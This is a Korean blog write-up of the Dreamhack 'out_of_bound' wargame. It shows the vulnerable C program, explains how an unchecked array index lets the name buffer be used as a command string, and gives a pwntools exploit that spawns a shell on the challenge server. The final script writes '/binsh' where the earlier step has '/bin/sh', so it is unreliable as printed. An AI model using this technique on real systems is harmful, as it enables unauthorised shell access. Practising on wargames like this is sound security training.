ENFJ_Blog
Out of Bounds(OOB) 본문
[dreamhack] Out of Bounds
인덱스 값이 정해진 범위를 벗어나는 행위
Out of Bounds로 버그가 생기는 이유
- 계산한 주소가 배열의 범위 안에 있는지 검사하지 않는다.
- 배열의 참조되는 인덱스의 값을 임의로 설정할 수 있다.
- 개발자가 인덱스의 값을 명시적으로 프로그래밍 하지 않는다.
https://dreamhack.io/wargame/challenges/11
out_of_bound
Description 이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요. "flag" 파일을 읽어 워게임 사이
dreamhack.io
C코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
C코드 해석
어드민 이름을 입력 받고 설정한다.
인덱스 중 하나를 입력받고 그 인덱스중 commad에 있는 번째의 인덱스를 시스템에 넣어 실행한다.
취약점
인덱스를 받는 곳에서 다른 검사가 없으므로 다른 메모리 상에 위치한 곳까지 침범할 수 있다.
또한 같은 곳에 name 이 있으므로 그 값을 조작한 뒤 Out of Bounds로 name까지 침범을 한 뒤 command에 입력할 수 있다. -> 즉 원하는 값을 commad에 입력할 수 있다.
익스플로잇
먼저 위에서 본 취약점을 이용해
1. name 입력을 받을 때 "/bin/sh" 문자열을 집어 넣는다
2. name의 위치를 commad에 위치에서 얼마나 떨어져 있는지 구한뒤 ->주소 차이 / 4
3. idx에 떨어져 있는 만큼 idx에 넣는다.
->system("/bin/sh") 실행된다
처음 name에 위치에 문자열 "/bin/sh"을 집어넣는다.
from pwn import *
p = remote("host3.dreamhack.games", 11078)
p.recvuntil("Admin name: ")
payload = p32(0x0804a0ac + 4) + b"/bin/sh"
p.sendline(payload)
단 위에서 주의할 점이 하나가 있다. 위에 보면 "/bin/sh"말고 앞에 주소가 하나 들어가는데 이유는 시스템 함수는 문자열의 포인터를 argument로 받기 때문에 name + 4의주소를 적어줘야 한다. 그렇기 때문에 gdb로 찾은 name의 위치에 주소의 크기는 4바이트기 때문에 0x0804a0ac + 4의 값이 "/bin/sh"문자열에 들어가게 된 것이다.
그리고 그 뒤 name에 위치에 얼마나 떨어져 있는지 구한다.
0x0804a0ac - 0x0804a060 = 0x4c = 76 이다
거기에 주소는 4바이트니까 76 / 4 = 19 이므로
idx의 값은 19가 된다.
p.recvuntil("What do you want?: ")
p.sendline(b"19")
전체 익스플로잇
from pwn import *
p = remote("host3.dreamhack.games", 16277)
p.recvuntil("Admin name: ")
payload = p32(0x0804a0ac + 4) + b"/binsh"
p.sendline(payload)
p.recvuntil("What do you want?: ")
p.sendline(b"19")
p.interactive()
쉘 흭득
끝~!
'Pwn' 카테고리의 다른 글
ptmalloc - linux 메모리 할당 ( Memory Allocator ) (0) | 2023.10.19 |
---|---|
Command Injection (2) | 2023.10.11 |
개발자의 실수 - Type Error (0) | 2023.09.29 |
Format String Bug (0) | 2023.09.01 |
전체적 노션 링크(지금까지 공부한거) (0) | 2023.08.16 |